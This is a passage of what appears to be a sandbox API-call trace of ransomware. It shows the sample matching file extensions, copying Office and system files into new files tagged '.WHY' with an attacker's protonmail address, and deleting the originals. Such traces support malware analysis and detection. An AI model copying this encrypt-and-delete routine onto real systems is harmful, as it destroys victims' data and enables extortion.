lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.439] lstrlenW (lpString=".jpg") returned 4 [0075.439] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.439] lstrlenW (lpString=".doc") returned 4 [0075.440] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.440] lstrlenW (lpString=".docx") returned 5 [0075.440] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.440] lstrlenW (lpString=".pdf") returned 4 [0075.440] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.440] lstrlenW (lpString=".xls") returned 4 [0075.440] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.440] lstrlenW (lpString=".xlsx") returned 5 [0075.440] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.440] lstrlenW (lpString=".ppt") returned 4 [0075.440] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.440] lstrlenW (lpString=".zip") returned 4 [0075.441] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.441] lstrlenW (lpString=".rar") returned 4 [0075.441] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.441] lstrlenW (lpString=".bz2") returned 4 [0075.441] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.441] lstrlenW (lpString=".7z") returned 3 [0075.441] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.441] lstrlenW (lpString=".dbf") returned 4 [0075.441] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.441] lstrlenW (lpString=".1cd") returned 4 [0075.441] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.442] lstrlenW (lpString=".jpg") returned 4 [0075.442] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.442] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0075.442] lstrlenW (lpString="hwruklm.dat") returned 11 [0075.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0076.724] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3053984) returned 1 [0076.725] CloseHandle (hObject=0x1e4) returned 1 [0076.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0076.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0077.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0077.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.661] lstrlenW (lpString=".doc") returned 4 [0077.661] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0077.661] lstrlenW (lpString=".docx") returned 5 [0077.661] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0077.661] lstrlenW (lpString=".pdf") returned 4 [0077.661] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0077.661] lstrlenW (lpString=".xls") returned 4 [0077.661] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0077.661] lstrlenW (lpString=".xlsx") returned 5 [0077.662] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0077.662] lstrlenW (lpString=".ppt") returned 4 [0077.662] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0077.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.662] lstrlenW (lpString=".zip") returned 4 [0077.662] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0077.662] lstrlenW (lpString=".rar") returned 4 [0077.662] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0077.662] lstrlenW (lpString=".bz2") returned 4 [0077.662] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0077.662] lstrlenW (lpString=".7z") returned 3 [0077.662] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0077.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.662] lstrlenW (lpString=".dbf") returned 4 [0077.662] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0077.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.663] lstrlenW (lpString=".1cd") returned 4 [0077.663] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0077.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.663] lstrlenW (lpString=".jpg") returned 4 [0077.663] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0077.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.663] lstrlenW (lpString=".doc") returned 4 [0077.663] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0077.663] lstrlenW (lpString=".docx") returned 5 [0077.664] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0077.664] lstrlenW (lpString=".pdf") returned 4 [0077.664] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0077.664] lstrlenW (lpString=".xls") returned 4 [0077.664] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0077.664] lstrlenW (lpString=".xlsx") returned 5 [0077.664] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0077.664] lstrlenW (lpString=".ppt") returned 4 [0077.664] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0077.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.664] lstrlenW (lpString=".zip") returned 4 [0077.664] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0077.664] lstrlenW (lpString=".rar") returned 4 [0077.664] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0077.665] lstrlenW (lpString=".bz2") returned 4 [0077.665] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0077.665] lstrlenW (lpString=".7z") returned 3 [0077.665] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0077.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.665] lstrlenW (lpString=".dbf") returned 4 [0077.665] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0077.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.665] lstrlenW (lpString=".1cd") returned 4 [0077.665] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0077.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0077.665] lstrlenW (lpString=".jpg") returned 4 [0077.665] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0077.666] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0077.666] lstrlenW (lpString="ipsptg.xml") returned 10 [0077.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0080.375] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2240) returned 1 [0080.375] CloseHandle (hObject=0x1f0) returned 1 [0080.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0080.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0080.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0080.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.376] lstrlenW (lpString=".doc") returned 4 [0080.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0080.376] lstrlenW (lpString=".docx") returned 5 [0080.376] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0080.376] lstrlenW (lpString=".pdf") returned 4 [0080.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0080.376] lstrlenW (lpString=".xls") returned 4 [0080.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0080.376] lstrlenW (lpString=".xlsx") returned 5 [0080.376] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0080.377] lstrlenW (lpString=".ppt") returned 4 [0080.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0080.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.377] lstrlenW (lpString=".zip") returned 4 [0080.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0080.377] lstrlenW (lpString=".rar") returned 4 [0080.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0080.377] lstrlenW (lpString=".bz2") returned 4 [0080.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0080.377] lstrlenW (lpString=".7z") returned 3 [0080.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0080.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.377] lstrlenW (lpString=".dbf") returned 4 [0080.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0080.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.378] lstrlenW (lpString=".1cd") returned 4 [0080.378] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0080.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.378] lstrlenW (lpString=".jpg") returned 4 [0080.378] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0080.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.378] lstrlenW (lpString=".doc") returned 4 [0080.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0080.378] lstrlenW (lpString=".docx") returned 5 [0080.378] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0080.378] lstrlenW (lpString=".pdf") returned 4 [0080.378] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0080.379] lstrlenW (lpString=".xls") returned 4 [0080.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0080.379] lstrlenW (lpString=".xlsx") returned 5 [0080.379] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0080.379] lstrlenW (lpString=".ppt") returned 4 [0080.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0080.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.379] lstrlenW (lpString=".zip") returned 4 [0080.379] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0080.379] lstrlenW (lpString=".rar") returned 4 [0080.379] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0080.379] lstrlenW (lpString=".bz2") returned 4 [0080.379] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0080.379] lstrlenW (lpString=".7z") returned 3 [0080.379] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0080.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.379] lstrlenW (lpString=".dbf") returned 4 [0080.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0080.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.380] lstrlenW (lpString=".1cd") returned 4 [0080.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0080.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0080.380] lstrlenW (lpString=".jpg") returned 4 [0080.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0080.504] lstrcmpiW (lpString1=".HTM", lpString2=".WHY") returned -1 [0080.504] lstrlenW (lpString="README.HTM") returned 10 [0080.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0080.522] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1941) returned 1 [0080.522] CloseHandle (hObject=0x20c) returned 1 [0080.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0080.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0080.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0080.523] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.523] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.524] GetLastError () returned 0x0 [0080.524] ReadFile (in: hFile=0x20c, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x795, lpOverlapped=0x0) returned 1 [0080.549] WriteFile (in: hFile=0x1e0, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0080.552] ReadFile (in: hFile=0x20c, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.552] WriteFile (in: hFile=0x1e0, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0080.552] SetEndOfFile (hFile=0x1e0) returned 1 [0080.553] CloseHandle (hObject=0x1e0) returned 1 [0080.554] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.554] SetEndOfFile (hFile=0x20c) returned 1 [0080.557] CloseHandle (hObject=0x20c) returned 1 [0080.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0080.557] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0080.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.558] lstrlenW (lpString=".doc") returned 4 [0080.558] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0080.558] lstrlenW (lpString=".docx") returned 5 [0080.558] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0080.558] lstrlenW (lpString=".pdf") returned 4 [0080.558] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0080.558] lstrlenW (lpString=".xls") returned 4 [0080.558] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0080.558] lstrlenW (lpString=".xlsx") returned 5 [0080.559] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0080.559] lstrlenW (lpString=".ppt") returned 4 [0080.559] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0080.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.559] lstrlenW (lpString=".zip") returned 4 [0080.559] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0080.559] lstrlenW (lpString=".rar") returned 4 [0080.559] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0080.559] lstrlenW (lpString=".bz2") returned 4 [0080.559] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0080.559] lstrlenW (lpString=".7z") returned 3 [0080.559] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0080.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.559] lstrlenW (lpString=".dbf") returned 4 [0080.559] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0080.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.560] lstrlenW (lpString=".1cd") returned 4 [0080.560] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0080.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.560] lstrlenW (lpString=".jpg") returned 4 [0080.560] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0080.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.560] lstrlenW (lpString=".doc") returned 4 [0080.560] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0080.560] lstrlenW (lpString=".docx") returned 5 [0080.560] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0080.560] lstrlenW (lpString=".pdf") returned 4 [0080.560] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0080.560] lstrlenW (lpString=".xls") returned 4 [0080.561] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0080.561] lstrlenW (lpString=".xlsx") returned 5 [0080.561] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0080.561] lstrlenW (lpString=".ppt") returned 4 [0080.561] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0080.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.561] lstrlenW (lpString=".zip") returned 4 [0080.562] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0080.562] lstrlenW (lpString=".rar") returned 4 [0080.562] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0080.562] lstrlenW (lpString=".bz2") returned 4 [0080.562] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0080.562] lstrlenW (lpString=".7z") returned 3 [0080.562] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0080.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.562] lstrlenW (lpString=".dbf") returned 4 [0080.562] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0080.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.562] lstrlenW (lpString=".1cd") returned 4 [0080.562] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0080.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0080.563] lstrlenW (lpString=".jpg") returned 4 [0080.563] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0080.563] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0080.563] lstrlenW (lpString="SETUP.XML") returned 9 [0080.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0080.624] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2624) returned 1 [0080.624] CloseHandle (hObject=0x1fc) returned 1 [0080.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0080.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0080.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0080.625] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.625] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0080.626] GetLastError () returned 0x0 [0080.626] ReadFile (in: hFile=0x1fc, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0xa40, lpOverlapped=0x0) returned 1 [0081.098] WriteFile (in: hFile=0x204, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0081.101] ReadFile (in: hFile=0x1fc, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.101] WriteFile (in: hFile=0x204, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0081.102] SetEndOfFile (hFile=0x204) returned 1 [0081.102] CloseHandle (hObject=0x204) returned 1 [0081.105] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, 